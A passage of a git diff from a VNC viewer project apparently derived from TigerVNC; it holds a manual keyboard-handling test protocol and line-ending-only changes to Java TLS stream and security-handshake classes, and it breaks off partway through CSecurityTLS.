Shifts also sent) - -- Multimedia keys: - - OS X: FIXME: all broken - - - Back, Forward, Refresh, Stop - - HomePage, Search, Favourites (FIXME: broken on Win) - - Mail, Calculator - - Volume up, down, mute - - Media next, previous, stop, play - - Sleep (FIXME: broken on Win) - - FIXME: probably more keys exist - -- Non-character keys: - - - F1-F24 (FIXME: F14-F15 broken on OS X) - - Tab, Space, Backspace, Return, Esc - - LeftTab sends Tab [X11] - - PrntScrn, ScrollLock, Pause [X11, Win] - - Help [X11?, OS X] - - Insert [X11, Win] - - Delete, Home, End, PageUp, PageDown - - Arrow keys - - Menu - - Alt+PrntScrn sends Sys_Req [Win] - -- French layout (AZERTY and inverted shift behaviour for many keys) - -- Local layout changes are respected - -Client (raw mode) ------------------ - -- All physical keys (modifiers or type of symbol shouldn't matter) - - - Normal keys - - Dead keys - - Numpad - - Multimedia keys - - Non-character keys - -Client (both modes) -------------------- - -- Key repeat should not send repeated release events - -- Keys are released on loss of focus - -- Local input methods are disabled/enabled with focus - -- System keys should be grabbed in full screen (FIXME: lots missing on Win) - - The exact keys depends on the system and configuration, but it - is usually variants of these: - - - Alt+Tab - - Super (and Super+other) - - Multimedia keys - - Ctrl+Alt+Delete - - Ctrl+Esc - - F8-F12 - -- Lock key states: - - - Adjusted on server when connecting - - Adjusted on server when regaining focus - - Server changes are honored when focused - - Server changes are not honored when not focused - - - CapsLock - - NumLock (hidden state on macOS) - - ScollLock* [X11, Win] - - * Usually needs to be enabled with: xmodmap -e "add mod3 = Scroll_Lock" - -- Virtual keyboard (as much of the above as is possible) - -Server ------- - -- Fake key events - - An extra press or release should be added before the real key press - in order to get the correct state to get the desired symbol. A second - fake event should be added after the real key press to restore state. - No extra events should be added for a key release. - - Possible fake keys: - - - Shift - - AltGr - - - Shift+Tab bypasses this and never fake releases Shift - -- Alternative keys - - A semantically equivalent key is sent when the desired key cannot be - reached in the current keyboard state: - - - Left modifier <=> Right modifier (e.g. Alt_R for Alt_L) - - Keypad key <=> Standard key - - ISO_Level3_Shift <=> Mode_Switch - -- Meta for Shift+Alt (if server keymap agrees) - -- Lock key heuristics (for clients without lock key extension) - - - CapsLock is corrected when A-Z or a-z are pressed - - CapsLock is corrected when Shift and A-Z or a-z are pressed* - - NumLock is corrected when 0-9 on the keypad are pressed - - * Gives incorrect behaviour if the client doesn't have "Shift cancels - CapsLock behaviour", e.g. macOS +Test protocol for keyboard handling +=================================== + +Platform specific tests/issues are marked with []. + +These tests are primarily about what is sent over the protocol and some +may be difficult or impossible to test using normal applications. One +such case is that xev will see fake KeyRelease events on key repeat, +even when no such events were sent by the client. In these cases you +can turn on debug logging in either the client or the server by +specifying "-Log *:stderr:100". + +We currently have a limitation in Xvnc where it can run out of symbols, +resulting in nothing being sent to the applications. Just run setxkbmap +with any layout to reset the symbol table. + +Client (classic, non-raw, mode) +------------------------------- + +- Normal symbols: + + - ASCII characters + - Latin 1 character + - Unicode BMP characters + - Unicode non-BMP characters (does any layout actually have these?) + +- Dead keys: + + These are not available on a single layout, so you need to switch to + test everything. The useful layouts also differ per platform: + + X11: US International for most, Greek for some specific diacretics + Win: US International, Czech, Greek Polytonic, Vietnamese + OS X: ABC Extended (FIXME: lots of broken keys), + Greek (FIXME: cannot be used with T2SRFBVNC) + + - Grave + - Acute + - Circumflex + - Tilde + - Macron (FIXME: broken on Win) + - Breve + - Dot above + - Dot below + - Diaeresis + - Ring above + - Double acute + - Caron + - Cedilla + - Ogonek + - Ypogegrammeni (iota below) (FIXME: broken on Win) + - Dialytika tonos [Win] (Diaresis on X11, and maybe OS X?) + - Comma above (FIXME: broken on Win) + - Reversed comma above (FIXME: broken on Win) + - Horn [X11?] + - Hook above [Win?] + - Hook below [X11?, Win?] + - Dakuten (Katakana voiced mark) (Only Input Methods layouts?) + - Handakuten (Katakana semi-voiced mark) (Only Input Methods layouts?) + - FIXME: Many more that we currently probably don't support + + - No composition on client + +- Modifiers: + + X11: You can usually toggle Hyper/Super and Compose/Scroll_Lock using + XKB options. + + - CapsLock, NumLock + - Shift, Ctrl + - Alt, AltGr, Super [Win, X11] + - Ctrl+AltGr [Win] + - Meta [X11] + - Left/right identification (FIXME: broken release for Shift on Win) + - CmdL => AltL, CmdR => SuperL, AltL => ModeSwitch, AltR => Level3Shift [OS X] + - Hyper sends Super [X11] + + - CapsLock, Shift and AltGr affect symbol lookup + - Ctrl does not affect symbol lookup + - Ctrl+Alt+ sends the same symbol as + - "Shift press, A press, Shift release, A release" should not send "a release" + +- Numpad: + + - NumLock affects symbol lookup [Win, X11] + - Numpad specific symbols are sent + - Decimal key should send Decimal for layouts with . as a symbol, and + Separator for layouts with , as a symbol + - Shift inverts NumLock behaviour [X11] + - Shift turns NumLock off, but not on [Win] (FIXME: fake Shifts also sent) + +- Multimedia keys: + + OS X: FIXME: all broken + + - Back, Forward, Refresh, Stop + - HomePage, Search, Favourites (FIXME: broken on Win) + - Mail, Calculator + - Volume up, down, mute + - Media next, previous, stop, play + - Sleep (FIXME: broken on Win) + - FIXME: probably more keys exist + +- Non-character keys: + + - F1-F24 (FIXME: F14-F15 broken on OS X) + - Tab, Space, Backspace, Return, Esc + - LeftTab sends Tab [X11] + - PrntScrn, ScrollLock, Pause [X11, Win] + - Help [X11?, OS X] + - Insert [X11, Win] + - Delete, Home, End, PageUp, PageDown + - Arrow keys + - Menu + - Alt+PrntScrn sends Sys_Req [Win] + +- French layout (AZERTY and inverted shift behaviour for many keys) + +- Local layout changes are respected + +Client (raw mode) +----------------- + +- All physical keys (modifiers or type of symbol shouldn't matter) + + - Normal keys + - Dead keys + - Numpad + - Multimedia keys + - Non-character keys + +Client (both modes) +------------------- + +- Key repeat should not send repeated release events + +- Keys are released on loss of focus + +- Local input methods are disabled/enabled with focus + +- System keys should be grabbed in full screen (FIXME: lots missing on Win) + + The exact keys depends on the system and configuration, but it + is usually variants of these: + + - Alt+Tab + - Super (and Super+other) + - Multimedia keys + - Ctrl+Alt+Delete + - Ctrl+Esc + - F8-F12 + +- Lock key states: + + - Adjusted on server when connecting + - Adjusted on server when regaining focus + - Server changes are honored when focused + - Server changes are not honored when not focused + + - CapsLock + - NumLock (hidden state on macOS) + - ScollLock* [X11, Win] + + * Usually needs to be enabled with: xmodmap -e "add mod3 = Scroll_Lock" + +- Virtual keyboard (as much of the above as is possible) + +Server +------ + +- Fake key events + + An extra press or release should be added before the real key press + in order to get the correct state to get the desired symbol. A second + fake event should be added after the real key press to restore state. + No extra events should be added for a key release. + + Possible fake keys: + + - Shift + - AltGr + + - Shift+Tab bypasses this and never fake releases Shift + +- Alternative keys + + A semantically equivalent key is sent when the desired key cannot be + reached in the current keyboard state: + + - Left modifier <=> Right modifier (e.g. Alt_R for Alt_L) + - Keypad key <=> Standard key + - ISO_Level3_Shift <=> Mode_Switch + +- Meta for Shift+Alt (if server keymap agrees) + +- Lock key heuristics (for clients without lock key extension) + + - CapsLock is corrected when A-Z or a-z are pressed + - CapsLock is corrected when Shift and A-Z or a-z are pressed* + - NumLock is corrected when 0-9 on the keypad are pressed + + * Gives incorrect behaviour if the client doesn't have "Shift cancels + CapsLock behaviour", e.g. macOS diff --git a/T2SRFB/java/com/tigervnc/rdr/SystemException.java b/T2SRFB/java/com/tigervnc/rdr/SystemException.java index 62615a0..7d53b67 100644 --- a/T2SRFB/java/com/tigervnc/rdr/SystemException.java +++ b/T2SRFB/java/com/tigervnc/rdr/SystemException.java @@ -1,29 +1,29 @@ -/* Copyright (C) 2002-2005 RealVNC Ltd. All Rights Reserved. - * Copyright (C) 2004 Red Hat Inc. - * Copyright (C) 2010 T2SRFBVNC Team - * Copyright (C) 2012 Brian P. Hinz - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, - * USA. - */ - -package com.tigervnc.rdr; - -public class SystemException extends Exception { - public SystemException(String s) { - super(s); - } -} - +/* Copyright (C) 2002-2005 RealVNC Ltd. All Rights Reserved. + * Copyright (C) 2004 Red Hat Inc. + * Copyright (C) 2010 T2SRFBVNC Team + * Copyright (C) 2012 Brian P. Hinz + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, + * USA. + */ + +package com.tigervnc.rdr; + +public class SystemException extends Exception { + public SystemException(String s) { + super(s); + } +} + diff --git a/T2SRFB/java/com/tigervnc/rdr/TLSException.java b/T2SRFB/java/com/tigervnc/rdr/TLSException.java index c668646..84bc944 100644 --- a/T2SRFB/java/com/tigervnc/rdr/TLSException.java +++ b/T2SRFB/java/com/tigervnc/rdr/TLSException.java @@ -1,29 +1,29 @@ -/* - * Copyright (C) 2004 Red Hat Inc. - * Copyright (C) 2010 T2SRFBVNC Team - * Copyright (C) 2011 Brian P. Hinz - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, - * USA. - */ - -package com.tigervnc.rdr; - -class TLSException extends Exception { - public TLSException(String s, int n) { - // FIXME: append enumerated n - super(s); - } -} +/* + * Copyright (C) 2004 Red Hat Inc. + * Copyright (C) 2010 T2SRFBVNC Team + * Copyright (C) 2011 Brian P. Hinz + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, + * USA. + */ + +package com.tigervnc.rdr; + +class TLSException extends Exception { + public TLSException(String s, int n) { + // FIXME: append enumerated n + super(s); + } +} diff --git a/T2SRFB/java/com/tigervnc/rdr/TLSInStream.java b/T2SRFB/java/com/tigervnc/rdr/TLSInStream.java index f5ba6f3..039b2ff 100644 --- a/T2SRFB/java/com/tigervnc/rdr/TLSInStream.java +++ b/T2SRFB/java/com/tigervnc/rdr/TLSInStream.java @@ -1,110 +1,110 @@ -/* Copyright (C) 2002-2005 RealVNC Ltd. All Rights Reserved. - * Copyright (C) 2005 Martin Koegler - * Copyright (C) 2010 T2SRFBVNC Team - * Copyright (C) 2011-2019 Brian P. Hinz - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, - * USA. - */ - -package com.tigervnc.rdr; - -import java.nio.ByteBuffer; -import java.nio.channels.*; -import javax.net.ssl.*; - -import com.tigervnc.network.*; - -public class TLSInStream extends InStream { - - static final int defaultBufSize = 16384; - - public TLSInStream(InStream _in, SSLEngineManager _manager) { - in = (FdInStream)_in; - manager = _manager; - offset = 0; - SSLSession session = manager.getSession(); - bufSize = session.getApplicationBufferSize(); - b = new byte[bufSize]; - ptr = end = start = 0; - } - - public final int pos() { - return offset + ptr - start; - } - - public final void startTiming() { - in.startTiming(); - } - - public final void stopTiming() { - in.stopTiming(); - } - - public final long kbitsPerSecond() { - return in.kbitsPerSecond(); - } - - public final long timeWaited() { - return in.timeWaited(); - } - - protected final int overrun(int itemSize, int nItems, boolean wait) { - if (itemSize > bufSize) - throw new Exception("TLSInStream overrun: max itemSize exceeded"); - - if (end - ptr != 0) - System.arraycopy(b, ptr, b, 0, end - ptr); - - offset += ptr - start; - end -= ptr - start; - ptr = start; - - while ((end - start) < itemSize) { - int n = readTLS(b, end, start + bufSize - end, wait); - if (!wait && n == 0) - return 0; - end += n; - } - - int nAvail; - nAvail = (end - ptr) / itemSize; - if (nAvail < nItems) - return nAvail; - - return nItems; - } - - protected int readTLS(byte[] buf, int bufPtr, int len, boolean wait) - { - int n = -1; - - try { - n = manager.read(ByteBuffer.wrap(buf, bufPtr, len), len); - } catch (java.io.IOException e) { - e.printStackTrace(); - } - - if (n < 0) throw new TLSException("readTLS", n); - - return n; - } - - private SSLEngineManager manager; - private int offset; - private int start; - private int bufSize; - private FdInStream in; -} +/* Copyright (C) 2002-2005 RealVNC Ltd. All Rights Reserved. + * Copyright (C) 2005 Martin Koegler + * Copyright (C) 2010 T2SRFBVNC Team + * Copyright (C) 2011-2019 Brian P. Hinz + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, + * USA. + */ + +package com.tigervnc.rdr; + +import java.nio.ByteBuffer; +import java.nio.channels.*; +import javax.net.ssl.*; + +import com.tigervnc.network.*; + +public class TLSInStream extends InStream { + + static final int defaultBufSize = 16384; + + public TLSInStream(InStream _in, SSLEngineManager _manager) { + in = (FdInStream)_in; + manager = _manager; + offset = 0; + SSLSession session = manager.getSession(); + bufSize = session.getApplicationBufferSize(); + b = new byte[bufSize]; + ptr = end = start = 0; + } + + public final int pos() { + return offset + ptr - start; + } + + public final void startTiming() { + in.startTiming(); + } + + public final void stopTiming() { + in.stopTiming(); + } + + public final long kbitsPerSecond() { + return in.kbitsPerSecond(); + } + + public final long timeWaited() { + return in.timeWaited(); + } + + protected final int overrun(int itemSize, int nItems, boolean wait) { + if (itemSize > bufSize) + throw new Exception("TLSInStream overrun: max itemSize exceeded"); + + if (end - ptr != 0) + System.arraycopy(b, ptr, b, 0, end - ptr); + + offset += ptr - start; + end -= ptr - start; + ptr = start; + + while ((end - start) < itemSize) { + int n = readTLS(b, end, start + bufSize - end, wait); + if (!wait && n == 0) + return 0; + end += n; + } + + int nAvail; + nAvail = (end - ptr) / itemSize; + if (nAvail < nItems) + return nAvail; + + return nItems; + } + + protected int readTLS(byte[] buf, int bufPtr, int len, boolean wait) + { + int n = -1; + + try { + n = manager.read(ByteBuffer.wrap(buf, bufPtr, len), len); + } catch (java.io.IOException e) { + e.printStackTrace(); + } + + if (n < 0) throw new TLSException("readTLS", n); + + return n; + } + + private SSLEngineManager manager; + private int offset; + private int start; + private int bufSize; + private FdInStream in; +} diff --git a/T2SRFB/java/com/tigervnc/rdr/TLSOutStream.java b/T2SRFB/java/com/tigervnc/rdr/TLSOutStream.java index df3a288..789ad11 100644 --- a/T2SRFB/java/com/tigervnc/rdr/TLSOutStream.java +++ b/T2SRFB/java/com/tigervnc/rdr/TLSOutStream.java @@ -1,94 +1,94 @@ -/* Copyright (C) 2002-2005 RealVNC Ltd. All Rights Reserved. - * Copyright (C) 2005 Martin Koegler - * Copyright (C) 2010 T2SRFBVNC Team - * Copyright (C) 2011-2019 Brian P. Hinz - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, - * USA. - */ - -package com.tigervnc.rdr; - -import java.nio.ByteBuffer; -import java.nio.channels.*; -import javax.net.ssl.*; - -import com.tigervnc.network.*; - -public class TLSOutStream extends OutStream { - - static final int defaultBufSize = 16384; - - public TLSOutStream(OutStream _out, SSLEngineManager _manager) { - manager = _manager; - out = (FdOutStream)_out; - SSLSession session = manager.getSession(); - bufSize = session.getApplicationBufferSize(); - b = new byte[bufSize]; - ptr = offset = start = 0; - end = start + bufSize; - } - - public int length() - { - return offset + ptr - start; - } - - public void flush() - { - int sentUpTo = start; - while (sentUpTo < ptr) { - int n = writeTLS(b, sentUpTo, ptr - sentUpTo); - sentUpTo += n; - offset += n; - } - - ptr = start; - } - - protected int overrun(int itemSize, int nItems) - { - if (itemSize > bufSize) - throw new Exception("TLSOutStream overrun: max itemSize exceeded"); - - flush(); - - int nAvail; - nAvail = (end - ptr) / itemSize; - if (nAvail < nItems) - return nAvail; - - return nItems; - } - - protected int writeTLS(byte[] data, int dataPtr, int length) - { - int n = 0; - - try { - n = manager.write(ByteBuffer.wrap(data, dataPtr, length), length); - } catch (java.io.IOException e) { - throw new Exception(e.getMessage()); - } - - return n; - } - - private SSLEngineManager manager; - private FdOutStream out; - private int start; - private int offset; - private int bufSize; -} +/* Copyright (C) 2002-2005 RealVNC Ltd. All Rights Reserved. + * Copyright (C) 2005 Martin Koegler + * Copyright (C) 2010 T2SRFBVNC Team + * Copyright (C) 2011-2019 Brian P. Hinz + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, + * USA. + */ + +package com.tigervnc.rdr; + +import java.nio.ByteBuffer; +import java.nio.channels.*; +import javax.net.ssl.*; + +import com.tigervnc.network.*; + +public class TLSOutStream extends OutStream { + + static final int defaultBufSize = 16384; + + public TLSOutStream(OutStream _out, SSLEngineManager _manager) { + manager = _manager; + out = (FdOutStream)_out; + SSLSession session = manager.getSession(); + bufSize = session.getApplicationBufferSize(); + b = new byte[bufSize]; + ptr = offset = start = 0; + end = start + bufSize; + } + + public int length() + { + return offset + ptr - start; + } + + public void flush() + { + int sentUpTo = start; + while (sentUpTo < ptr) { + int n = writeTLS(b, sentUpTo, ptr - sentUpTo); + sentUpTo += n; + offset += n; + } + + ptr = start; + } + + protected int overrun(int itemSize, int nItems) + { + if (itemSize > bufSize) + throw new Exception("TLSOutStream overrun: max itemSize exceeded"); + + flush(); + + int nAvail; + nAvail = (end - ptr) / itemSize; + if (nAvail < nItems) + return nAvail; + + return nItems; + } + + protected int writeTLS(byte[] data, int dataPtr, int length) + { + int n = 0; + + try { + n = manager.write(ByteBuffer.wrap(data, dataPtr, length), length); + } catch (java.io.IOException e) { + throw new Exception(e.getMessage()); + } + + return n; + } + + private SSLEngineManager manager; + private FdOutStream out; + private int start; + private int offset; + private int bufSize; +} diff --git a/T2SRFB/java/com/tigervnc/rfb/CSecurityPlain.java b/T2SRFB/java/com/tigervnc/rfb/CSecurityPlain.java index b176aed..c59a669 100644 --- a/T2SRFB/java/com/tigervnc/rfb/CSecurityPlain.java +++ b/T2SRFB/java/com/tigervnc/rfb/CSecurityPlain.java @@ -1,59 +1,59 @@ -/* Copyright (C) 2005 Martin Koegler - * Copyright (C) 2010 T2SRFBVNC Team - * Copyright (C) 2011-2017 Brian P. Hinz - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, - * USA. - */ - -package com.tigervnc.rfb; - -import com.tigervnc.rdr.*; -import com.tigervnc.vncviewer.*; - -public class CSecurityPlain extends CSecurity { - - public CSecurityPlain() { } - - public boolean processMsg(CConnection cc) - { - OutStream os = cc.getOutStream(); - - StringBuffer username = new StringBuffer(); - StringBuffer password = new StringBuffer(); - - upg.getUserPasswd(cc.isSecure(), username, password); - - // Return the response to the server - os.writeU32(username.length()); - os.writeU32(password.length()); - byte[] utf8str; - try { - utf8str = username.toString().getBytes("UTF8"); - os.writeBytes(utf8str, 0, username.length()); - utf8str = password.toString().getBytes("UTF8"); - os.writeBytes(utf8str, 0, password.length()); - } catch(java.io.UnsupportedEncodingException e) { - e.printStackTrace(); - } - os.flush(); - return true; - } - - public int getType() { return Security.secTypePlain; } - public String description() { return "ask for username and password"; } - - static LogWriter vlog = new LogWriter("Plain"); -} +/* Copyright (C) 2005 Martin Koegler + * Copyright (C) 2010 T2SRFBVNC Team + * Copyright (C) 2011-2017 Brian P. Hinz + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, + * USA. + */ + +package com.tigervnc.rfb; + +import com.tigervnc.rdr.*; +import com.tigervnc.vncviewer.*; + +public class CSecurityPlain extends CSecurity { + + public CSecurityPlain() { } + + public boolean processMsg(CConnection cc) + { + OutStream os = cc.getOutStream(); + + StringBuffer username = new StringBuffer(); + StringBuffer password = new StringBuffer(); + + upg.getUserPasswd(cc.isSecure(), username, password); + + // Return the response to the server + os.writeU32(username.length()); + os.writeU32(password.length()); + byte[] utf8str; + try { + utf8str = username.toString().getBytes("UTF8"); + os.writeBytes(utf8str, 0, username.length()); + utf8str = password.toString().getBytes("UTF8"); + os.writeBytes(utf8str, 0, password.length()); + } catch(java.io.UnsupportedEncodingException e) { + e.printStackTrace(); + } + os.flush(); + return true; + } + + public int getType() { return Security.secTypePlain; } + public String description() { return "ask for username and password"; } + + static LogWriter vlog = new LogWriter("Plain"); +} diff --git a/T2SRFB/java/com/tigervnc/rfb/CSecurityStack.java b/T2SRFB/java/com/tigervnc/rfb/CSecurityStack.java index a1ab175..d8e67b4 100644 --- a/T2SRFB/java/com/tigervnc/rfb/CSecurityStack.java +++ b/T2SRFB/java/com/tigervnc/rfb/CSecurityStack.java @@ -1,80 +1,80 @@ -/* Copyright (C) 2005 Martin Koegler - * Copyright (C) 2006 OCCAM Financial Technology - * Copyright (C) 2010 T2SRFBVNC Team - * Copyright (C) 2011 Brian P. Hinz - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, - * USA. - */ - -package com.tigervnc.rfb; - -public class CSecurityStack extends CSecurity { - - public CSecurityStack(int Type, String Name, CSecurity s0, - CSecurity s1) - { - name = Name; - type = Type; - state = 0; - state0 = s0; - state1 = s1; - } - - public boolean processMsg(CConnection cc) - { - boolean res = true; - if (state == 0) { - if (state0 != null) - res = state0.processMsg(cc); - - if (!res) - return res; - - state++; - } - - if (state == 1) { - if(state1 != null) - res = state1.processMsg(cc); - - if(!res) - return res; - - state++; - } - - return res; - } - - public boolean isSecure() - { - if (state0 != null && state0.isSecure()) - return true; - if (state == 1 && state1 != null && state1.isSecure()) - return true; - return false; - } - - public final int getType() { return type; } - public final String description() { return name; } - - private int state; - private CSecurity state0; - private CSecurity state1; - private String name; - private int type; - -} +/* Copyright (C) 2005 Martin Koegler + * Copyright (C) 2006 OCCAM Financial Technology + * Copyright (C) 2010 T2SRFBVNC Team + * Copyright (C) 2011 Brian P. Hinz + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, + * USA. + */ + +package com.tigervnc.rfb; + +public class CSecurityStack extends CSecurity { + + public CSecurityStack(int Type, String Name, CSecurity s0, + CSecurity s1) + { + name = Name; + type = Type; + state = 0; + state0 = s0; + state1 = s1; + } + + public boolean processMsg(CConnection cc) + { + boolean res = true; + if (state == 0) { + if (state0 != null) + res = state0.processMsg(cc); + + if (!res) + return res; + + state++; + } + + if (state == 1) { + if(state1 != null) + res = state1.processMsg(cc); + + if(!res) + return res; + + state++; + } + + return res; + } + + public boolean isSecure() + { + if (state0 != null && state0.isSecure()) + return true; + if (state == 1 && state1 != null && state1.isSecure()) + return true; + return false; + } + + public final int getType() { return type; } + public final String description() { return name; } + + private int state; + private CSecurity state0; + private CSecurity state1; + private String name; + private int type; + +} diff --git a/T2SRFB/java/com/tigervnc/rfb/CSecurityTLS.java b/T2SRFB/java/com/tigervnc/rfb/CSecurityTLS.java index d93ab34..4aac592 100644 --- a/T2SRFB/java/com/tigervnc/rfb/CSecurityTLS.java +++ b/T2SRFB/java/com/tigervnc/rfb/CSecurityTLS.java @@ -1,530 +1,530 @@ -/* - * Copyright (C) 2004 Red Hat Inc. - * Copyright (C) 2005 Martin Koegler - * Copyright (C) 2010 m-privacy GmbH - * Copyright (C) 2010 T2SRFBVNC Team - * Copyright (C) 2011-2019 Brian P. Hinz - * Copyright (C) 2015 D. R. Commander. All Rights Reserved. - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, - * USA. - */ - -package com.tigervnc.rfb; - -import javax.net.ssl.*; -import java.security.KeyManagementException; -import java.security.KeyStore; -import java.security.NoSuchAlgorithmException; -import java.security.MessageDigest; -import java.security.cert.*; -import java.io.BufferedReader; -import java.io.File; -import java.io.FileInputStream; -import java.io.FileNotFoundException; -import java.io.FileReader; -import java.io.FileWriter; -import java.io.InputStream; -import java.io.IOException; -import java.nio.ByteBuffer; -import java.nio.charset.Charset; -import java.util.ArrayList; -import java.util.Base64; -import java.util.Collection; -import java.util.Collections; -import java.util.Iterator; -import java.util.List; -import javax.naming.InvalidNameException; -import javax.naming.ldap.LdapName; -import javax.naming.ldap.Rdn; -import javax.net.ssl.HostnameVerifier; -import javax.swing.JOptionPane; - -import com.tigervnc.rdr.*; -import com.tigervnc.network.*; -import com.tigervnc.vncviewer.*; - -import static javax.swing.JOptionPane.*; - -public class CSecurityTLS extends CSecurity { - - public static StringParameter X509CA - = new StringParameter("X509CA", - "X509 CA certificate", "", Configuration.ConfigurationObject.ConfViewer); - public static StringParameter X509CRL - = new StringParameter("X509CRL", - "X509 CRL file", "", Configuration.ConfigurationObject.ConfViewer); - - private void initGlobal() - { - try { - ctx = SSLContext.getInstance("TLS"); - } catch(NoSuchAlgorithmException e) { - throw new Exception(e.toString()); - } - } - - public CSecurityTLS(boolean _anon) - { - anon = _anon; - manager = null; - - setDefaults(); - cafile = X509CA.getData(); - crlfile = X509CRL.getData(); - } - - public static String getDefaultCA() { - if (UserPreferences.get("viewer", "x509ca") != null) - return UserPreferences.get("viewer", "x509ca"); - return FileUtils.getVncConfigDir()+"x509_ca.pem"; - } - - public static String getDefaultCRL() { - if (UserPreferences.get("viewer", "x509crl") != null) - return UserPreferences.get("viewer", "x509crl"); - return FileUtils.getVncConfigDir()+"x509_crl.pem"; - } - - public static void setDefaults() - { - if (new 